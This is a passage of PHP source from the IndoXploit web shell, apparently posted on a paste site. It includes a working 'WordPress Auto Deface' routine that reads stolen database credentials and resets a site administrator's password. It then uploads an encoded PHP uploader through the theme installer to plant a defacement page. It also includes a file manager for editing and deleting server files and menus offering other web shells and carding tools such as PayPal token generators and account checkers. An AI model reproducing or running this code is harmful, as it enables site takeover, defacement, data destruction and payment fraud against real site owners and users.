  2113.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2114.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2115.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2116.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2117.             $data = curl_exec($ch);
  2118.                   curl_close($ch);
  2119.             return $data;
  2120.         }
  2121.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2122.             $post = array(
  2123.                    "log" => "$userr",
  2124.                    "pwd" => "$pass",
  2125.                    "rememberme" => "forever",
  2126.                    "wp-submit" => "$wp_submit",
  2127.                    "redirect_to" => "$web",
  2128.                    "testcookie" => "1",
  2129.                    );
  2130.             $ch = curl_init($cek);
  2131.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2132.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2133.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2134.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2135.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2136.                   curl_setopt($ch, CURLOPT_POST, 1);
  2137.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2138.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2139.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2140.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2141.             $data = curl_exec($ch);
  2142.                   curl_close($ch);
  2143.             return $data;
  2144.         }
  2145.         $link = explode("\r\n", $_POST['link']);
  2146.         $script = htmlspecialchars($_POST['script']);
  2147.         $user = "indoxploit";
  2148.         $pass = "indoxploit";
  2149.         $passx = md5($pass);
  2150.         foreach($link as $dir_config) {
  2151.             $config = anucurl($dir_config);
  2152.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  2153.             $dbuser = ambilkata($config,"DB_USER', '","'");
  2154.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2155.             $dbname = ambilkata($config,"DB_NAME', '","'");
  2156.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2157.             $prefix = $dbprefix."users";
  2158.             $option = $dbprefix."options";
  2159.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2160.             $db = mysql_select_db($dbname);
  2161.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2162.             $result = mysql_fetch_array($q);
  2163.             $id = $result[ID];
  2164.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2165.             $result2 = mysql_fetch_array($q2);
  2166.             $target = $result2[option_value];
  2167.             if($target == '') {                
  2168.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2169.             } else {
  2170.                 echo "[+] $target <br>";
  2171.             }
  2172.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2173.             if(!$conn OR !$db OR !$update) {
  2174.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2175.                 mysql_close($conn);
  2176.             } else {
  2177.                 $site = "$target/wp-login.php";
  2178.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  2179.                 $b1 = anucurl($site2);
  2180.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2181.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2182.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2183.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2184.                 $www = "m.php";
  2185.                 $fp5 = fopen($www,"w");
  2186.                 fputs($fp5,$upload3);
  2187.                 $post2 = array(
  2188.                         "_wpnonce" => "$anu2",
  2189.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2190.                         "themezip" => "@$www",
  2191.                         "install-theme-submit" => "Install Now",
  2192.                         );
  2193.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2194.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2195.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2196.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2197.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2198.                       curl_setopt($ch, CURLOPT_POST, 1);
  2199.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2200.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2201.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2202.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2203.                 $data3 = curl_exec($ch);
  2204.                       curl_close($ch);
  2205.                 $y = date("Y");
  2206.                 $m = date("m");
  2207.                 $namafile = "id.php";
  2208.                 $fpi = fopen($namafile,"w");
  2209.                 fputs($fpi,$script);
  2210.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2211.                        curl_setopt($ch6, CURLOPT_POST, true);
  2212.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2213.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2214.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2215.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2216.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2217.                 $postResult = curl_exec($ch6);
  2218.                        curl_close($ch6);
  2219.                 $as = "$target/k.php";
  2220.                 $bs = anucurl($as);
  2221.                 if(preg_match("#$script#is", $bs)) {
  2222.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2223.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2224.                     } else {
  2225.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  2226.                     echo "[!!] coba aja manual: <br>";
  2227.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2228.                     echo "[+] username: <font color=lime>$user</font><br>";
  2229.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2230.                     }
  2231.                 mysql_close($conn);
  2232.             }
  2233.         }
  2234.     } else {
  2235.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  2236.         <form method='post'>
  2237.         Link Config: <br>
  2238.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2239.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2240.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2241.         </form></center>";
  2242.     }
  2243. } elseif($_GET['act'] == 'newfile') {
  2244.     if($_POST['new_save_file']) {
  2245.         $newfile = htmlspecialchars($_POST['newfile']);
  2246.         $fopen = fopen($newfile, "a+");
  2247.         if($fopen) {
  2248.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2249.         } else {
  2250.             $act = "<font color=red>permission denied</font>";
  2251.         }
  2252.     }
  2253.     echo $act;
  2254.     echo "<form method='post'>
  2255.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2256.     <input type='submit' name='new_save_file' value='Submit'>
  2257.     </form>";
  2258. } elseif($_GET['act'] == 'newfolder') {
  2259.     if($_POST['new_save_folder']) {
  2260.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2261.         if(!mkdir($new_folder)) {
  2262.             $act = "<font color=red>permission denied</font>";
  2263.         } else {
  2264.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2265.         }
  2266.     }
  2267.     echo $act;
  2268.     echo "<form method='post'>
  2269.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2270.     <input type='submit' name='new_save_folder' value='Submit'>
  2271.     </form>";
  2272. } elseif($_GET['act'] == 'rename_dir') {
  2273.     if($_POST['dir_rename']) {
  2274.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2275.         if($dir_rename) {
  2276.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2277.         } else {
  2278.             $act = "<font color=red>permission denied</font>";
  2279.         }
  2280.     echo "".$act."<br>";
  2281.     }
  2282.     echo "<form method='post'>
  2283.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2284.     <input type='submit' name='dir_rename' value='rename'>
  2285.     </form>";
  2286. } elseif($_GET['act'] == 'delete_dir') {
  2287.     function Delete($path)
  2288. {
  2289.     if (is_dir($path) === true)
  2290.     {
  2291.         $files = array_diff(scandir($path), array('.', '..'));
  2292.         foreach ($files as $file)
  2293.         {
  2294.             Delete(realpath($path) . '/' . $file);
  2295.         }
  2296.         return rmdir($path);
  2297.     }
  2298.     else if (is_file($path) === true)
  2299.     {
  2300.         return unlink($path);
  2301.     }
  2302.     return false;
  2303. }
  2304.     $delete_dir = Delete($dir);
  2305.     if($delete_dir) {
  2306.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2307.     } else {
  2308.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2309.     }
  2310.     echo $act;
  2311. } elseif($_GET['act'] == 'view') {
  2312.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2313.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2314. } elseif($_GET['act'] == 'edit') {
  2315.     if($_POST['save']) {
  2316.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2317.         if($save) {
  2318.             $act = "<font color=lime>Saved!</font>";
  2319.         } else {
  2320.             $act = "<font color=red>permission denied</font>";
  2321.         }
  2322.     echo "".$act."<br>";
  2323.     }
  2324.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2325.     echo "<form method='post'>
  2326.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2327.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2328.     </form>";
  2329. } elseif($_GET['act'] == 'rename') {
  2330.     if($_POST['do_rename']) {
  2331.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2332.         if($rename) {
  2333.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2334.         } else {
  2335.             $act = "<font color=red>permission denied</font>";
  2336.         }
  2337.     echo "".$act."<br>";
  2338.     }
  2339.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2340.     echo "<form method='post'>
  2341.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2342.     <input type='submit' name='do_rename' value='rename'>
  2343.     </form>";
  2344. } elseif($_GET['act'] == 'delete') {
  2345.     $delete = unlink($_GET['file']);
  2346.     if($delete) {
  2347.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2348.     } else {
  2349.         $act = "<font color=red>permission denied</font>";
  2350.     }
  2351.     echo $act;
  2352. }else {
  2353.     if(is_dir($dir) == true) {
  2354.         echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2355.         <tr>
  2356.         <th class="th_home"><center>Name</center></th>
  2357.         <th class="th_home"><center>Type</center></th>
  2358.         <th class="th_home"><center>Size</center></th>
  2359.         <th class="th_home"><center>Last Modified</center></th>
  2360.         <th class="th_home"><center>Permission</center></th>
  2361.         <th class="th_home"><center>Action</center></th>
  2362.         </tr>';
  2363.         $scandir = scandir($dir);
  2364.         foreach($scandir as $dirx) {
  2365.             $dtype = filetype("$dir/$dirx");
  2366.             $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2367.             if(!is_dir("$dir/$dirx")) continue;
  2368.             if($dirx === '..') {
  2369.                 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2370.             } elseif($dirx === '.') {
  2371.                 $href = "<a href='?dir=$dir'>$dirx</a>";
  2372.             } else {
  2373.                 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2374.             }
  2375.             if($dirx === '.' || $dirx === '..') {
  2376.                 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2377.                 } else {
  2378.                 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2379.             }
  2380.             echo "<tr>";
  2381.             echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2382.             echo "<td class='td_home'><center>$dtype</center></td>";
  2383.             echo "<td class='td_home'><center>-</center></th>";
  2384.             echo "<td class='td_home'><center>$dtime</center></td>";
  2385.             echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2386.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2387.         }
  2388.         echo "</tr>";
  2389.         foreach($scandir as $file) {
  2390.             $ftype = filetype("$dir/$file");
  2391.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2392.             $size = filesize("$dir/$file")/1024;
  2393.             $size = round($size,3);
  2394.             if($size > 1024) {
  2395.                 $size = round($size/1024,2). 'MB';
  2396.             } else {
  2397.                 $size = $size. 'KB';
  2398.             }
  2399.             if(!is_file("$dir/$file")) continue;
  2400.             echo "<tr>";
  2401.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2402.             echo "<td class='td_home'><center>$ftype</center></td>";
  2403.             echo "<td class='td_home'><center>$size</center></td>";
  2404.             echo "<td class='td_home'><center>$ftime</center></td>";
  2405.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2406.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2407.         }
  2408.         echo "</tr></table>";
  2409.     } else {
  2410.         echo "<font color=red>can't open directory</font>";
  2411.     }
  2412.     }
  2413. echo "<center><hr><form>
  2414. <select onchange='if (this.value) window.open(this.value);'>
  2415.   <option selected='selected' value=''> Tools Creator </option>
  2416.   <option value='$ling=wso'>WSO 2.8.1</option>
  2417.   <option value='$ling=injection'>1n73ction v3</option>
  2418.   <option value='$ling=wk'>WHMCS Killer</option>
  2419.   <option value='$ling=adminer'>Adminer</option>
  2420.   <option value='$ling=b374k'>b374k Shell</option>
  2421.   <option value='$ling=b374k323'>b374k 3.2</option>  
  2422.   <option value='$ling=bh'>BlackHat Shell</option>      
  2423.   <option value='$ling=dhanus'>Dhanush Shell</option>    
  2424.   <option value='$ling=r57'>R57 Shell</option>    
  2425. <option value='$ling=encodedecode'>Encode Decode</option>    
  2426. <option value='$ling=r57'>R57 Shell</option>    
  2427. </select>
  2428. <select onchange='if (this.value) window.open(this.value);'>
  2429.   <option selected='selected' value=''> Tools Carder </option>
  2430.   <option value='$ling=extractor'>DB Email Extractor</option>
  2431.   <option value='$ling=promailerv2'>Pro Mailer V2</option>    
  2432.   <option value='$ling=bukalapak'>BukaLapak Checker</option>        
  2433.   <option value='$ling=tokopedia'>TokoPedia Checker</option>  
  2434.   <option value='$ling=tokenpp'>Paypal Token Generator</option>  
  2435.   <option value='$ling=mailer'>Mailer</option>  
  2436.   <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2437.   </select>
  2438. <noscript><input type='submit' value='Submit'></noscript>
  2439. </form>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> </center>";
  2440. ?>
  2441. </html>
Add Comment
Please, Sign In to add comment